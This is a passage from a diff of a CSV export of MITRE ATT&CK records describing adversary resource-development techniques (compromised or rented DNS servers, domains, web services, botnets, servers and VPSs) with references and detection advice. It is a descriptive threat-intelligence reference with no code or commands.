negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:54:30.869Z,2021-10-17T15:56:05.112Z,DNS Server,"Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. + +By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1584/002', 'external_id': 'T1584.002'}, {'source_name': 'Talos DNSpionage Nov 2018', 'description': 'Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.', 'url': 'https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html'}, {'source_name': 'FireEye DNS Hijack 2019', 'description': 'Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html'}, {'source_name': 'CiscoAngler', 'description': 'Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017.', 'url': 'https://blogs.cisco.com/security/talos/angler-domain-shadowing'}, {'source_name': 'Proofpoint Domain Shadowing', 'description': 'Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020.', 'url': 'https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Domain Name: Active DNS', 'Domain Name: Passive DNS']",,"Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:51:28.513Z,2021-10-17T15:51:26.715Z,Domains,"Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps. -Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",,,,,False,,,,['PRE'],,,,1.1 -2020-10-01 01:01:00.176000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1584/006', external_id='T1584.006'), ExternalReference(source_name='Recorded Future Turla Infra 2020', description='Insikt Group. (2020, March 12). Swallowing the Snake’s Tail: Tracking Turla Infrastructure. Retrieved October 20, 2020.', url='https://www.recordedfuture.com/turla-apt-infrastructure/')]",attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:04:40.184000+00:00,Web Services,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 00:58:35.269000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service(Citation: Imperva DDoS for Hire), adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1584/005', external_id='T1584.005'), ExternalReference(source_name='Norton Botnet', description='Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.', url='https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html'), ExternalReference(source_name='Imperva DDoS for Hire', description='Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.', url='https://www.imperva.com/learn/ddos/booters-stressers-ddosers/'), ExternalReference(source_name='Dell Dridex Oct 2015', description='Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.', url='https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation')]",attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:01:00.271000+00:00,Botnet,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 00:56:25.135000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations. +Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1584/001', 'external_id': 'T1584.001'}, {'source_name': 'ICANNDomainNameHijacking', 'description': 'ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.', 'url': 'https://www.icann.org/groups/ssac/documents/sac-007-en'}, {'source_name': 'Microsoft Sub Takeover 2020', 'description': 'Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020.', 'url': 'https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration']",,"Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. -Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1584/004', external_id='T1584.004')]",attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:03:22.184000+00:00,Server,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 00:55:17.771000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig) +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:50:29.936Z,2021-10-17T15:45:01.956Z,Web Services,"Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1583/006', 'external_id': 'T1583.006'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) -Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1584/003', external_id='T1584.003'), ExternalReference(source_name='NSA NCSC Turla OilRig', description='NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.', url='https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf')]",attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:03:59.919000+00:00,Virtual Private Server,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 00:54:30.869000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:49:05.467Z,2021-04-15T02:49:14.664Z,Botnet,"Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1583/005', 'external_id': 'T1583.005'}, {'source_name': 'Norton Botnet', 'description': 'Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.', 'url': 'https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html'}, {'source_name': 'Imperva DDoS for Hire', 'description': 'Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.', 'url': 'https://www.imperva.com/learn/ddos/booters-stressers-ddosers/'}, {'source_name': 'Krebs-Anna', 'description': 'Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.', 'url': 'https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/'}, {'source_name': 'Krebs-Bazaar', 'description': 'Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017.', 'url': 'https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/'}, {'source_name': 'Krebs-Booter', 'description': 'Brian Krebs. (2016, October 27). Are the Days of “Booter” Services Numbered?. Retrieved May 15, 2017.', 'url': 'https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:48:09.578Z,2021-10-17T15:39:45.736Z,Server,"Adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. -By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1584/002', external_id='T1584.002'), ExternalReference(source_name='Talos DNSpionage Nov 2018', description='Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.', url='https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html'), ExternalReference(source_name='FireEye DNS Hijack 2019', description='Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.', url='https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html'), ExternalReference(source_name='CiscoAngler', description='Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017.', url='https://blogs.cisco.com/security/talos/angler-domain-shadowing'), ExternalReference(source_name='Proofpoint Domain Shadowing', description='Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020.', url='https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows')]",attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:01:54.609000+00:00,DNS Server,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 00:51:28.513000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps. +Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1583/004', 'external_id': 'T1583.004'}, {'source_name': 'NYTStuxnet', 'description': 'William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.', 'url': 'https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}, {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'}, {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Internet Scan: Response Metadata', 'Internet Scan: Response Content']",,"Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) -Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1584/001', external_id='T1584.001'), ExternalReference(source_name='ICANNDomainNameHijacking', description='ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.', url='https://www.icann.org/groups/ssac/documents/sac-007-en'), ExternalReference(source_name='Microsoft Sub Takeover 2020', description='Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020.', url='https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover')]",attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:02:43.030000+00:00,Domains,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 00:50:29.936000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1583/006', external_id='T1583.006')]",attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 02:53:19.246000+00:00,Web Services,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 00:49:05.467000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1583/005', external_id='T1583.005'), ExternalReference(source_name='Norton Botnet', description='Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.', url='https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html'), ExternalReference(source_name='Imperva DDoS for Hire', description='Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.', url='https://www.imperva.com/learn/ddos/booters-stressers-ddosers/'), ExternalReference(source_name='Krebs-Anna', description='Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.', url='https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/'), ExternalReference(source_name='Krebs-Bazaar', description='Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017.', url='https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/'), ExternalReference(source_name='Krebs-Booter', description='Brian Krebs. (2016, October 27). Are the Days of “Booter” Services Numbered?. Retrieved May 15, 2017.', url='https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/')]",attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 02:49:14.664000+00:00,Botnet,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 00:48:09.578000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:44:23.935Z,2021-10-17T15:36:59.315Z,Virtual Private Server,"Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure. -Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1583/004', external_id='T1583.004'), ExternalReference(source_name='NYTStuxnet', description='William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.', url='https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html')]",attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 02:51:18.167000+00:00,Server,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 00:44:23.935000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure. +Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1583/003', 'external_id': 'T1583.003'}, {'source_name': 'TrendmicroHideoutsLease', 'description': 'Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.', 'url': 'https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}, {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'}, {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 